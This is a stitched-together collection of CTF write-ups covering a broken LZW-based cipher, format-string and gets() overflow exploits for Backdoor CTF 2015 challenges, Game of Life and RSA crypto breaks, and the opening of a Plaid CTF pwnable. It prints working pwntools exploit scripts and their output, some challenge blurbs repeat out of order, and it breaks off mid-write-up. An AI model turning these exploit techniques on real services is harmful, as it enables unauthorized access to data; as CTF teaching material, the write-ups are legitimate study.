lzwDict:> count = len(lzwDict.keys())> lzwDict[s] = count % 256>># LZW>def LZW(s, lzwDict): # LZW written by NEWBIE> for c in s: updateDict(c, lzwDict)> # print lzwDict # have to make sure it works> result = []> i = 0> while i < len(s):> if s[i:] in lzwDict:> result.append(lzwDict[s[i:]])> break> for testEnd in range(i+2, len(s)+1):> if not s[i:testEnd] in lzwDict:> updateDict(s[i:testEnd], lzwDict)> result.append(lzwDict[s[i:testEnd-1]])> i = testEnd - 2> break> i += 1> return result>># PRNG>def STRONGPseudoRandomGenerator(s):> return s[SMALLPRIME - HASHLENGTH :], hashlib.md5(s).digest()>># Get OTPBase>def getOTPBase(SALT):> key = hashlib.md5(SALT*2).digest()> OTPBase = ""> OPT = ""> step = HASHLENGTH - SMALLPRIME> for i in range(0, 3*N+step, step):> rand, key = STRONGPseudoRandomGenerator(key)> OTPBase += rand> return OTPBase>># Encryption function>def encrypt(SALT, m):> lzwDict = dict()> toEnc = LZW(SALT + m, lzwDict)> key = hashlib.md5(SALT*2).digest()> OTPBase = ""> OPT = ""> step = HASHLENGTH - SMALLPRIME> for i in range(0, 3*N+step, step):> rand, key = STRONGPseudoRandomGenerator(key)> OTPBase += rand> enc = []> otpadded = []> for i in range(len(toEnc)):> index = i % N> iRound = i / N + 1> OTP = OTPBase[3*int(pow(ord(OTPBase[3*index]),ord(OTPBase[3*index+1])*iRound, N))+2]> otpadded.append(ord(OTP))> enc.append(chr(toEnc[i] ^ ord(OTP)))> return b64.b64encode(''.join(enc))>># Obtain LZW compressed message length>def lzwCompressLen(m):> lzwDict = dict()> return len(LZW(m, lzwDict))>># Obtain LZW dictionary>def lzwDict(SALT, m):> lzwDict = dict()> LZW(SALT+m, lzwDict)> return lzwDict>># Check if n-gram is in LZW dictionary>def checkTuple(HOST, nulllen, prefix, charset, tuplelen):> tuples = []> for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(tuplelen, tuplelen + 1)):> ctext = req(HOST, prefix+p)> if(len(b64.b64decode(ctext)) - nulllen == 1):> tuples.append(prefix+p)> return tuples>># Obtain LZW dictionary n-grams>def getTuples(HOST, nulllen, prefixes, charset, tuplelen):> tuples = []> if(len(prefixes) > 0):> for prefix in prefixes:> tuples += checkTuple(HOST, nulllen, prefix, charset, tuplelen)> return tuples> else:> return checkTuple(HOST, nulllen, "", charset, tuplelen)>># Obtain SALT given n-gram its composition>def getSALT(charset, nulllen):> for candidate in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(1, nulllen + 1)):> if(nulllen == lzwCompressLen(candidate)):> if(nullcipher == encrypt(candidate, "")):> return candidate> return None>># Recover LZW compressed message given OTPBase>def recoverLZWCompress(c, OTPBase):> enc = list(b64.b64decode(c))> toEnc = []>> for i in range(len(enc)):> index = i % N # index within the round (0..16)> iRound = i / N + 1 # round index (1 for 0..16, 2 for 17..31, etc.)> OTP = OTPBase[3*int(pow(ord(OTPBase[3*index]),ord(OTPBase[3*index+1])*iRound, N))+2]> toEnc.append(ord(enc[i]) ^ ord(OTP))> return toEnc>>HOST = '146.148.79.13'>ciphertext = "NxQ1NDMYcDcw53gVHzI7">cipherlen = len(b64.b64decode(ciphertext))>>print "[*]Target ciphertext: [%s] (%d bytes)" % (b64.b64decode(ciphertext).encode('hex'), cipherlen)>># Obtain null cipher>nullcipher = req(HOST, "")>nulllen = len(b64.b64decode(nullcipher))>maxplainlen = cipherlen - nulllen>>print "[+]Null cipher: [%s]" % nullcipher>print "[+]Null len: %d" % nulllen>print "[+]Max LZW plaintext len: %d" % maxplainlen>># SALT charset>charset = string.ascii_lowercase>>print "[*]Reconstructing LZW dictionary n-grams...">># Get initial dictionary bi-grams>tupleset = getTuples(HOST, nulllen, [], charset, 2)>tupget = tupleset># Retrieve dictionary n-grams as long as possible>while (len(tupget) > 0):> tupget = getTuples(HOST, nulllen, tupget, charset, 1)> tupleset += tupget>>print "[*]Recovering SALT...">># Recover SALT, this could be done more efficiently by determinig order of n-gram occurance but who cares>SALT = getSALT(tupleset, nulllen)># Derive OTPBase>OTPBase = getOTPBase(SALT)># Recover compressed message>recComp = recoverLZWCompress(ciphertext, OTPBase)># Reconstruct SALT LZW dictionary>saltDict = lzwDict(SALT, "")>revSaltDict = dict((v, k) for k, v in saltDict.items())>>print "[+]Got SALT: [%s]" % SALT>print "[+]Got OTPBase: [%s]" % OTPBase.encode('hex')>print "[+]Got LZW compressed message: [%s]" % (",".join(str(i) for i in recComp))>># Derive plaintext message>message = "">for i in range(nulllen, len(recComp)):> if not(recComp[i] in revSaltDict):> print "[-]Element isn't in reconstructed LZW dictionary..."> exit()> > message += revSaltDict[recComp[i]]>>if(encrypt(SALT, message) == ciphertext):> print "[+]Recovered message plaintext: [%s]" % message>else:> print "[-]Something went wrong...">```
Which will yield the following result:
>```bash>$ ./weak_enc_crack.py >[*]Target ciphertext: [371435343318703730e778151f323b] (15 bytes)>[+]Null cipher: [NxQ1NDMYcDcw53g=]>[+]Null len: 11>[+]Max LZW plaintext len: 4>[*]Reconstructing LZW dictionary n-grams...>[*]Recovering SALT...>[+]Got SALT: [nikonikoninikonikoni]>[+]Got OTPBase: [99c537a6bd37cf200051b097433c3f162bd7dfcbd3d0ad67d064748dc7dda8b7e28d7b1e83249dcf5c15202211cf3db3525a54846d6b]>[+]Got LZW compressed message: [0,1,2,3,4,6,4,8,7,5,12,11,10,13,4]>[+]Recovered message plaintext: [nikoninikoni]>```
Giving the flag:
>nikoninikoni |
# Backdoor CTF 2015: Team
**Category:** Pwnable**Points:** 600**Description:**
> There is a wierd kind of authentication service running: nc hack.bckdr.in 8004.> > The binary can be found [here](challenge/team).> The vampire says that there is no need for bruteforce.
## Write-up
We first check the binary:
>```bash>file teamteam: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x6d83b63fd19b24c9023ec3e7f43f563da4dcd729, stripped>```
Fire up gdb (with [PEDA](https://github.com/longld/peda)):
>```bash> gdb-peda$ checksec> CANARY : ENABLED> FORTIFY : disabled> NX : ENABLED> PIE : disabled> RELRO : Partial>```
Looks like we're dealing with a 32-bit ELF executable with non-exec stack and stack canary. Let's decompile it (function names added for clarity):
>```c>int entryroutine()>{> const char *v0; // ST18_4@1> const char *v1; // ST1C_4@1>> v0 = (const char *)malloc(0xC8u);> v1 = (const char *)malloc(0x64u);> printf("Enter teamname: ");> fflush(stdout);> __isoc99_scanf("%200s", v0);> printf("Enter flag: ");> fflush(stdout);> __isoc99_scanf("%100s", v1);> sleep(2u);> checkflag(v0, v1);> free((void *)v0);> free((void *)v1);> return 0;>}>>signed int __cdecl checkflag(const char *a1, const char *a2)>{> signed int result; // eax@2> int v3; // edx@7> FILE *stream; // [sp+24h] [bp-74h]@1> char s; // [sp+28h] [bp-70h]@3> int v6; // [sp+8Ch] [bp-Ch]@1>> v6 = *MK_FP(__GS__, 20);> stream = fopen("flag.txt", "r");> if ( stream )> {> fgets(&s, 100, stream);> printf(a1);> if ( !strcmp(&s, a2) )> puts(" : correct flag!");> else> puts(" : incorrect flag. Try again.");> fclose(stream);> result = 0;> }> else> {> result = 1;> }> v3 = *MK_FP(__GS__, 20) ^ v6;> return result;>}>```
As we can see the application first asks for our team name and the flag, sleeps for 2 seconds and calls checkflag(teamname, flag).The checkflag routine is a simple routine which opens the flag file, reads the flag into variable s (which is on the stack), compares it to the flag we supplied and tells us if it was correct. The vulnerability is fairly obvious in the following line:
>```c> printf(a1);>```
Calling printf with a user-supplied format specifier leads to a trivial format-string exploit. In this case we don't even have to pop a shell since we can simply read the flag from the stack. We can do this by [dumping](solution/teamsploit.py) the first 30 8-byte words (using the %llx format specifier) from the stack:
>```python>#!/usr/bin/python>#># Backdoor CTF 2015># TEAM (PWN/600)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>from pwn import *>from struct import pack, unpack>># Split into blocks>def split_blocks(b, block_size):> return [b[i:i+block_size] for i in range(0, len(b), block_size)]>># Reverse order (take block size into account)>def rev(b, block_size):> blocks = split_blocks(b, block_size)> return "".join(blocks[::-1])>>host = 'hack.bckdr.in'>h = remote(host, 8004, timeout = None)>print h.recvuntil('Enter teamname: ')># Send format string exploit (dump 30 8-byte words from stack)>h.send("%llx." * 30 + "\n")>print h.recvuntil('Enter flag: ')>h.send("blaat\n")>msg = h.recvall()>print msg>h.close()>># Split stack words>msg = msg.split(".")>># Chop flag into correct representation>blocks = [msg[4][0:8]]>>for part in msg[5: 12]:> blocks.append(part)>>blocks.append(msg[12][7:])>>hsh = "">for block in blocks:> hsh += rev(block, 2)>>print "[+]Got flag: [%s]" % hsh>```
When dumping the stack, you can see several words (seperated by periods), some of which consist of hexadecimal representation of ascii characters only. This is where the flag is located. It's not neatly aligned with the way we dumped it but a little bit of (dirty) parsing (see above) can fix that (keep in mind the dumped stack words are in reverse order and every 2 characters of the hexadecimal representation of the flag represent a single flag character). This gives us the following output:
>```bash>$ python teamsploit.py >[+] Opening connection to hack.bckdr.in on port 8004: Done>Enter teamname: >Enter flag: >[+] Recieving all data: Done (451B)>[*] Closed connection to hack.bckdr.in port 8004>942414000000064.f76f8c20.94240d800000001.f772255c09424008.3566336409424140.3765313964363031.3835656232346137.6138356463613530.3131646164386231.3563636638376661.6664326331383366.3533353936333635.804830062663137.1.1.ffb4b43800000000.1f7715500.7d80e100.ffb4b43800000000.94240080804880c.ffb4b4dc094240d8.f76f83c4f758410d.9424008f7722000.8048830094240d8.0.1f756aa63.ffb4b4dcffb4b4d4.1f770fcea.ffb4b474ffb4b4d4.80482e00804a038. : incorrect flag. Try again.>>[+]Got flag: [{flag removed upon request of backdoorCTF admins ;)}]>``` |
Little Suzie started learning C. She createda simple program that echo’s backwhatever you input. Here is the binary file.The vampire came across this service onthe internet. nc hack.bckdr.in 8002.Reports say he found a flag. See if you canget it. |
# Backdoor CTF 2015: Echo
**Category:** Pwnable**Points:** 100**Description:**
> Little Suzie started learning C. She created a simple program that echo's back whatever you input. > [Here](challenge/echo) is the binary file. > The vampire came across this service on the internet. nc hack.bckdr.in 8002. Reports say he found a flag. See if you can get it.
## Write-up
Take a peek at the binary
>```bash> file echo> echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x465c87a1ebfcdf7b01bfa8daed8f376d2bae9dfe, not stripped>```
What does checksec say?
>```bash> gdb-peda$ checksec> CANARY : disabled> FORTIFY : disabled> NX : ENABLED> PIE : disabled> RELRO : Partial>```
A straight-forward non-stripped 32-bit ELF with non-exec stack. Let's fire up our decompiler and get the interesting functions out of it:
>```c>int __cdecl main(int argc, const char **argv, const char **envp)>{> test();> return 0;>}>>int test()>{> char s; // [sp+1Eh] [bp-3Ah]@1>> gets(&s);> sleep(1u);> return fprintf(_bss_start, "ECHO: %s\n", &s);>}>>signed int sample()>{> signed int result; // eax@2> char s; // [sp+18h] [bp-70h]@4> FILE *stream; // [sp+7Ch] [bp-Ch]@1>> stream = fopen("flag.txt", "r");> if ( stream )> {> while ( fgets(&s, 100, stream) )> fputs(&s, _bss_start);> fclose(stream);> result = 0;> }> else> {> result = 1;> }> return result;>}>```
Ok, that looks good. A simple gets() stack overflow (of a buffer of length 58 bytes) and a function to print our flag. [Simply](solution/echosploit.py) overflow our buffer s into the EIP to point it to sample() to get the flag:
>```python>#!/usr/bin/python>#># Backdoor CTF 2015># ECHO (PWN/100)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>from pwn import *>from struct import pack, unpack>>host = 'hack.bckdr.in'>h = remote(host, 8002, timeout = None)>buf = "A" * 62 + pack('<I', 0x0804857D) # Address of sample()>h.send(buf + "\n")>print h.recvall()>>h.close()>```
And we got the flag:
>```bash>$ python echosploit.py > [+] Opening connection to hack.bckdr.in on port 8002: Done> [+] Recieving all data: Done (138B)> [*] Closed connection to hack.bckdr.in port 8002> ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}\x85\x0> {flag removed upon request of backdoorCTF admins ;)}>``` |
There is a wierd kind of authenticationservice running: nc hack.bckdr.in 8004.The binary can be found here. The vampiresays that there is no need for bruteforce. |
# Nuit Du Hack CTF 2015: Game Of Life
**Category:** Crypto**Points:** 150**Description:**
>"We're born alone, we live alone, we die alone. Only through our love and friendship can we create the illusion for the moment that we're not alone." (Orson Orwell)>>[Cells cells cells, the basis of life](challenge/GOL.tar.gz). Don't let them die and tell us their secret.
## Write-up
The challenge archive contains 3 files.
consignes:
> [ Game of life ]> > [+] The above text has been encoded using the game of life rules on a 8x8 array.
cipher.txt:
>11000100>>00010000>>01000111>>(...)>>YDUC?>>(...)
And a python file jdlv.py which allows you to encrypt your input with the cipher used to encrypt cipher.txt. Let's take a look its core functions:
>```python>def wrapper():> key=sys.argv[1]> fichier=open(sys.argv[2],'rb')> encfile=''> bitstream=''> grille=initGrille(creerGrille(),genKey(key))> for i in fichier.readlines():> bitstream=genBitstream(grille,key)> encfile+=xor(i,bitstream)> tourSuivant(grille)> print encfile>```
The wrapper function creates a 8x8 matrix which it initializes using the result of genKey over the supplied master key. It subsequently reads the plaintext line-by-line, generates a bitstream using genBitstream and xors the lines with the bitstream before calling tourSuivant. Let's take a closer look at some of these helper functions first:
>```python>def genKey(key):> psk=hashlib.sha256(key)> buff=""> seed=""> for char in psk.hexdigest():> buff+=bin(ord(char))[2:]> for c in buff:> seed+=c> return seed>```
As we can see genKey creates a master key out of the supplied password by taking the binary representation of the hex representation of the SHA256 hash of the supplied password. This means that the resulting key will always be 256 characters long and consist only of the characters '0' and '1'.
>```python>def initGrille(grille,seed):> for (i, j), c in itertools.izip(itertools.product(xrange(len(grille)), reversed(xrange(len(grille[0])))), seed):> grille[i][j] = c> return grille>```
The function initGrille initializes a grid from a seed in the following fashion:
> (0, 7) seed[0]>> (0, 6) seed[1]>> (0, 5) seed[2]>> ...
The function xor does exactly what it says on the tin and implements a repeating-key xor function:
>```python>def xor(ent1,ent2):> key=itertools.cycle(ent2)> return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(ent1, key))>```
The function genBitstream creates an stream consisting of the concatenation of the 8th column of all the 8 rows of the supplied grid (hence, the bitstream will always be 8 bytes long and consist only of the characters '0' and '1'):
>```python>def genBitstream(grille,key):> bitstream=''> for j in range(8):> bitstream+=grille[j][7]> return bitstream>```
Finally this leaves us with the function tourSuivant which simply implements the rules of [Conway's Game Of Life](http://en.wikipedia.org/wiki/Conway%27s_Game_of_Life) over a given grid:
>```python>def tourSuivant(grille):> tabbuff=[[0]*8 for _ in range(8)]> for j in range(8):> for i in range(8):> voisine=0> if grille[(j-1%8)][(i-1)%8] != '0':> voisine+=1> if grille[(j-1)%8][i] != '0':> voisine+=1> if grille[(j-1)%8][(i+1)%8] != '0':> voisine+=1> if grille[j][(i-1)%8] != '0':> voisine+=1> if grille[j][(i+1)%8] != '0':> voisine+=1> if grille[(j+1)%8][(i-1)%8] != '0':> voisine+=1> if grille[(j+1)%8][i] != '0':> voisine+=1> if grille[(j+1)%8][(i+1)%8] != '0':> voisine+=1> tabbuff[j][i]=voisine> > for j in range(8):> for i in range(8):> if tabbuff[j][i]==3 and grille[j][i]== '0':> grille[j][i]='1'> elif tabbuff[j][i] < 2 or tabbuff[j][i] > 3:> grille[j][i]='0'> return grille>```
This means we're effectively dealing with a streamcipher where the initial keystate (in the form of the initial grid derived from the supplied password) is permutated through the use of the rules of the Game Of Life as a PRNG, switching to a new keystate for every line of plaintext. Each line of plaintext is then encrypted using a repeating-key xor operation with a key derived from the current keystate.
There are multiple problems here, from the use of a repeating-key xor operation to the simple use of the rules of the Game Of Life as a relatively invertable (and potentially deadlocking) PRNG and the fact that the keystate is limited to a characterset of only 2 characters. Given that plaintext data is encrypted using a repeating-key xor operation and the keystate (and hence the bitstream) always consists of only the characters '0' and '1' we know that whenever the ciphertext contains the characters '0' or '1' we are dealing with the following scenarios:
> If the ciphertext character is '0' (0x30) either:> - plaintext = 0x00, key = '0' (0x30)> - plaintext = 0x01, key = '1' (0x31)
> If the ciphertext character is '1' (0x31) either:> - plaintext = 0x00, key = '1' (0x31)> - plaintext = 0x01, key = '0' (0x30)
If we look at the ciphertext in cipher.txt we see a series of 114 lines (all of length 8) consisting of only '0' and '1':
> 11000100>> 00010000>> 01000111>> (...)>> 00000000>> 00000000>> 00000000
Let's assume these lines are the result of 8-byte blocks of null-bytes followed by a 0x0A byte (interpreted as a newline seperator) then the first 114 lines of the ciphertext are an effective dump of the bitstreams (and hence the partial keystates they correspond with). Seeing as how the lines eventually all become "00000000" it is safe to assume that the Game Of Life PRNG, during encryption, had reached a deadlock state where no change will occur anymore and hence all subsequent bitstreams beyond that point will be the same (seeing as how the keystate will remain the same). This means we can assume all subsequent data is encrypted with the same, dumped, bitstream "00000000" which allows us to trivially decrypt the ciphertext using the [following little script](solution/gameoflifesolution.py):
>```python>#!/usr/bin/python>#># Nuit Du Hack CTF 2015># Game Of Life (CRYPTO/150) Solution>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>import itertools>>def xor(ent1, ent2):> key = itertools.cycle(ent2)> return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(ent1, key))>>f = open("cipher.txt", 'rb')>lines = f.readlines()>>encfile = ''>for i in xrange(114, len(lines)):> bitstream = '00000000'> data = lines[i][0: len(lines[i])-1]> encfile += xor(data, bitstream)>>print encfile>```
Which produces the following output:
>```bash>$ python gameoflifesolution.py>!! ! !! ! !! ! Md maoifdrte eu usacetr>Autdur lolbredudr`gon>Zhne ;!Sagale!"2>>(Tsacetr =!prauiqu`nt eu P`rkotr)>(...)>Flag ToBeAndToLast>``` |
# Backdoor CTF 2015: Rsanne
**Category:** Crypto**Points:** 350**Description:**
> The flag is encrypted using a system that makes use of prime factorization of large numbers.> > Decrypt the flag from [this](challenge/RSANNE.tar.gz). > > If you pwned RSALOT, you should have a fun time solving this one.
## Write-up
The challenge consists of an RSA public key and an RSA-encrypted flag file. We started by inspecting the RSA public key:
>```bash>$ python rsainspect.py id_rsa.pub> [+]n: [0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffffffffffffff80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001L] (4485 bits)> [+]e: [0x10001L] (17 bits)>```
It is immediately obvious the public modulus is highly abnormal, both in size (4485 bits) and composition (the large amount of 1 bits followed by the large amount of zeros and a single trailing 1). The binary representation of the public modulus looks as follows:
> 0b11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
Seeing as the 2281 higher-order bits are all 1s followed by 2203 lower-order bits (consisting of all-zeros and a single trailing 1) this means the public modulus can be expressed as:
> (2^2281 - 1)(2^2203 - 1)
Which is effectively its factorization. Using this we can [trivially](solution/rsanne.py) obtain the private key and decrypt the ciphertext:
>```python>#!/usr/bin/python>#># Backdoor CTF 2015># RSANNE (CRYPTO/350) Exploit>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>from Crypto.PublicKey import RSA>from Crypto.Cipher import PKCS1_OAEP>from base64 import b64decode>># GCD (times sign of b if b is nonzero, times sign of a if b is zero)>def gcd(a,b):> while b != 0:> a,b = b, a % b> return a>># Extended Greatest Common Divisor>def egcd(a, b):> if (a == 0):> return (b, 0, 1)> else:> g, y, x = egcd(b % a, a)> return (g, x - (b // a) * y, y)>># Modular multiplicative inverse>def modInv(a, m):> g, x, y = egcd(a, m)> if (g != 1):> raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m))> else:> return x % m>># Decrypt ciphertext using private key (PKCS1 OAEP format)>def do_decrypt(rsakey, ciphertext):> rsakey = PKCS1_OAEP.new(rsakey) > plaintext = rsakey.decrypt(b64decode(ciphertext)) > return plaintext>># Calculate private exponent from n, e, p, q>def getPrivate(n, e, p, q):> d = modInv(e, (p-1)*(q-1))> return RSA.construct((n, e, d, p, q, ))>># Factors of n expressed as (2^2281 - 1)(2^2203 - 1)>p = (pow(2, 2281)-1)>q = (pow(2, 2203)-1)>>ciphertext = open("flag.enc", 'rb').read()>pubKey = RSA.importKey(open("id_rsa.pub", 'rb').read())>privKey = getPrivate(pubKey.n, pubKey.e, p, q)>print do_decrypt(privKey, ciphertext)>```
Which gives us:
>```bash>$ python rsanne.py>{flag removed upon request of backdoorCTF admins ;)}>``` |
# Plaid CTF 2015: Strength
**Category:** Crypto**Points:** 110**Description:**
>Strength in Difference>>We've [captured](challenge/captured) the flag encrypted several times... do you think you can recover it?
## Write-up
The challenge consists of a file containing a collection of tuples:
>{N : e : c}>{0xa5f7f8aaa82921f70aad9ece4eb77b62112f51ac2be75910b3137a28d22d7ef3be3d734dabb9d853221f1a17b1afb956a50236a7e858569cdfec3edf350e1f88ad13c1efdd1e98b151ce2a207e5d8b6ab31c2b66e6114b1d5384c5fa0aad92cc079965d4127339847477877d0a057335e2a761562d2d56f1bebb21374b729743L : 0x1614984a0df : 0x7ded5789929000e4d7799f910fdbe615824d04b055336de784e88ba2d119f0c708c3b21e9d551c15967eb00074b7f788d3068702b2209e4a3417c0ca09a0a2da4378aa0b16d20f2611c4658e090e7080c67dda287e7a91d8986f4f352625dceb135a84a4a7554e6b5bd95050876e0dca96dc21860df84e53962d7068cebd248dL}>{0xa5f7f8aaa82921f70aad9ece4eb77b62112f51ac2be75910b3137a28d22d7ef3be3d734dabb9d853221f1a17b1afb956a50236a7e858569cdfec3edf350e1f88ad13c1efdd1e98b151ce2a207e5d8b6ab31c2b66e6114b1d5384c5fa0aad92cc079965d4127339847477877d0a057335e2a761562d2d56f1bebb21374b729743L : 0x15ef25e10f54a3 : 0x7c5b756b500801e3ad68bd4f2d4e1a3ff94d049774bc9c37a05d4c18d212c5b223545444e7015a7600ecff9a75488ed7e609c3e931d4b2683b5954a5dc3fc2de9ae3392de4d86d77ee4920fffb13ad59a1e08fd25262a700eb26b3f930cbdc80513df3b7af62ce22ab41d2546b3ac82e7344fedf8a25abfb2cbc717bea46c47eL}>(...)
As with [curious](https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/PCTF/crypto/curious), the first line gives us a hint about the encryption scheme as the parameters N, e and c are usually used to denote the modulus, public exponent and ciphertext in RSA.
The first thing we notice is that all moduli are identical, which can [prove to be exploitable](http://diamond.boisestate.edu/~liljanab/ISAS/course_materials/AttacksRSA.pdf). Consider the following:
Given our plaintext m and a set of n tuples {N, ei, ci} such that m^ei mod N = ci if we have two tuples {N, ei, ci}, {N, ej, cj} (i != j) such that gcd(ei, ej) = 1 then we can apply the Extended Euclidian Algorithm to obtain egcd(ei, ej) = ai*ei + aj*ej = 1. Consider ci^ai * cj^aj = (m^ei)^ai * (m^ej)^aj = m^(ei*ai) * m^(ej*aj) = m^(ei*ai + ej*aj) = m^1 = m (all mod N of course). A potential problem arises, however, when ai or aj is negative. Consider aj is negative then we will have to find the modular multiplicative inverse of the corresponding ciphertext cj and calculate b = (gcd(e1, e2)-(a*e1))/e2 so we can calculate ci^ai * modInv(cj, N)^(-b) % N = m. We iterate over the tuples and checking each combination for a suitable candidate with [this little script](solution/strength_crack.py):
>```python>#!/usr/bin/python>#># Plaid CTF 2015># Strength (CRYPTO/110)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>># GCD (times sign of b if b is nonzero, times sign of a if b is zero)>def gcd(a,b):> while b != 0:> a,b = b, a % b> return a>># Extended Greatest Common Divisor>def egcd(a, b):> if (a == 0):> return (b, 0, 1)> else:> g, y, x = egcd(b % a, a)> return (g, x - (b // a) * y, y)>># Modular multiplicative inverse>def modInv(a, m):> g, x, y = egcd(a, m)> if (g != 1):> raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m))> else:> return x % m>>def to_bytes(n, length, endianess='big'):> h = '%x' % n> s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')> return s if endianess == 'big' else s[::-1]>>crypt_tups = []>lines = open("captured", "rb").read().split("\n")>lines = lines[1:len(lines)-1] # get rid of first and last line>for line in lines:> tups = line[1:len(line)-1].split(":")> N, e, c = [long(x.strip(),16) for x in tups]> crypt_tups.append((N, e, c))>>for i in xrange(len(crypt_tups)):> for j in xrange(len(crypt_tups)):> if(i == j):> continue>> N1, e1, c1 = crypt_tups[i]> N2, e2, c2 = crypt_tups[j]>> assert (N1 == N2)>> #a1*e1 + a2*e2 = 1> if (gcd(e1, e2) == 1):> #a = a1 % e2> a = modInv(e1, e2)> #b = (gcd(e1, e2)-(a*e1))/e2 (will be negative)> b = long((float(gcd(e1, e2)-(a*e1)))/float(e2))>> assert (b < 0)>> # Modular multiplicative inverse> c2i = modInv(c2, N1)> c1a = pow(c1, a, N1)> c2b = pow(c2i, long(-b), N1)> m = (c1a * c2b) % N1>> print to_bytes(m, 16)> exit()>```
Which gives us:
>```bash>$ python strength_crack.py>flag_Strength_Lies_In_Differences>``` |
# Plaid CTF 2015: EBP
**Category:** EBP**Points:** 160**Description:**
>Pwnable (160 pts)>nc 52.6.64.173 4545 >>Download: [%p%o%o%p](challenge/ebp.elf).
## Write-up
We start by first checking the binary:
>```bash>$ file ebp>ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf994804ecd68699809b56d85dbba1038de9f74b0, not stripped>```
A stripped 32-bit ELF binary. Let's see what checksec has to say:
>```bash>gdb-peda$ checksec>CANARY : disabled>FORTIFY : disabled>NX : disabled>PIE : disabled>RELRO : Partial>```
Ok, no protections to worry about. Let's load EBP into IDA and decompile it:
